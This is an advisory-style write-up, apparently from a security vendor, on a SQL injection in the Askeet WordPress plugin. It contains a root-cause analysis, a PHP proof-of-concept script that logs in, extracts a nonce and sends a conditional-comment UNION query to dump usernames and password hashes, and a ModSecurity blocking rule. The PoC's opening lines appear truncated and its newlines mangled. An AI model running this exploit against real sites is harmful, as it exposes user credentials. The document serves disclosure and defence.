CVE-2026-5651: Askeet <= 3.0 Authenticated (Administrator+) SQL Injection via 'sql_query' Parameter PoC, Patch Analysis & Rule

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-5651: The Askeet plugin for WordPress, in versions up to and including 3.0, contains a SQL Injection vulnerability in multiple AJAX actions. The vulnerability resides in the ‘sql_query’ parameter and can be exploited by authenticated attackers with Administrator-level access. The failure to properly sanitize user-supplied SQL allows attackers to extract sensitive data from the WordPress database. This issue has been assigned a CVSS score of 4.9 and is categorized under CWE-89.nnThe root cause of the vulnerability lies in the inadequate input sanitization performed by the ‘askeet_is_safe_query()’ function. This function, designed to prevent dangerous SQL queries, does not account for MySQL’s conditional comments (e.g., /*!UNION*/). While the filter removes standard block comments from the user input, it fails to recognize that MySQL interprets conditional comments as executable code. The vulnerable AJAX hooks are ‘askeet_execute_sql_query’ and ‘askeet_export_all_results’, both of which pass the ‘sql_query’ parameter to the ‘askeet_is_safe_query()’ filter before it is executed against the database.nnAn attacker with Administrator-level access can exploit this vulnerability by sending a crafted request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the action set to ‘askeet_execute_sql_query’ or ‘askeet_export_all_results’. The ‘sql_query’ POST parameter would contain a SQL statement that includes a MySQL conditional comment to bypass the input filter. For example, a payload like ‘SELECT * FROM wp_users /*!UNION*/ SELECT user_login, user_pass FROM wp_users’ would pass the filter because the filter only checks for forbidden keywords like ‘UNION’ after stripping regular comments. MySQL would then execute the statement, returning sensitive user data, including password hashes.nnThe provided patch fixes the vulnerability by updating the input sanitization logic in the ‘askeet_is_safe_query()’ function to also strip or neutralize MySQL conditional comments. By addressing this omission, the filter can no longer be bypassed with these comment types. The patched version enforces a stronger check, preventing the execution of unauthorized SQL statements and closing the injection vector.nnSuccessful exploitation of this SQL Injection vulnerability allows an authenticated Administrator to read the entire contents of the WordPress database. This includes user credentials (username and password hashes), private content, and potentially configuration data. While the access level required is high, the confidentiality impact is severe, as it can lead to a complete site takeover if password hashes are cracked.”,
“poc_php”: “// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-5651 – Askeet <= 3.0 – Authenticated (Administrator+) SQL Injection via 'sql_query' Parameternn $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => ‘http://your-wordpress-site.com/wp-admin/’n);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $login_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEJAR, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);ncurl_exec($ch);ncurl_close($ch);nn// Extract a nonce from the admin dashboard for the AJAX call.n$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, ‘http://your-wordpress-site.com/wp-admin/admin.php?page=askeet’);ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);n$dashboard_html = curl_exec($ch);ncurl_close($ch);nnpreg_match(‘/var askeet_ajax_nonce = “([a-f0-9]+)”/’, $dashboard_html, $nonce_match);nif (empty($nonce_match)) {n // Fallback: try to find it in a hidden inputn preg_match(‘/name=”askeet_ajax_nonce” value=”([a-f0-9]+)”/’, $dashboard_html, $nonce_match_2);n $nonce = $nonce_match_2[1] ?? ”; n} else {n $nonce = $nonce_match[1];n}nnif (empty($nonce)) {n die(‘Failed to extract nonce. Check login credentials or page structure.’);n}nn// 2. Craft the malicious SQL query using a conditional comment to bypass the filter.n// The filter strips /* */ but MySQL executes the code inside /*!…*/n$malicious_query = “SELECT user_login, user_pass FROM wp_users /*!UNION*/ SELECT user_login, user_pass FROM wp_users”;nn$post_data = array(n ‘action’ => ‘askeet_execute_sql_query’,n ‘nonce’ => $nonce,n ‘sql_query’ => $malicious_queryn);nn// 3. Send the AJAX request.n$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url);ncurl_setopt($ch, CURLOPT_POST, true);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_COOKIEFILE, ‘cookies.txt’);n$response = curl_exec($ch);ncurl_close($ch);nn// 4. Display the response, which should contain user hashes if the exploit works.necho “Response from server:\n”;necho $response;necho “\n\nIf you see usernames and password hashes, the vulnerability was successfully exploited.\n”;n?>”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-5651n# Blocks SQL injection attempts targeting the ‘sql_query’ parameter in Askeet plugin AJAX actions.n# Exploitation uses MySQL conditional comments to bypass the plugin’s filter.nSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20265651,phase:2,deny,status:403,chain,msg:’CVE-2026-5651 via Askeet AJAX SQL injection’,severity:’CRITICAL’,tag:’CVE-2026-5651′”n SecRule ARGS_POST:action “@streq askeet_execute_sql_query” “chain”n SecRule ARGS_POST:sql_query “@rx /\*![a-zA-Z0-9_\s]*[\s]*(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|CREATE)[\s]/”
}
“`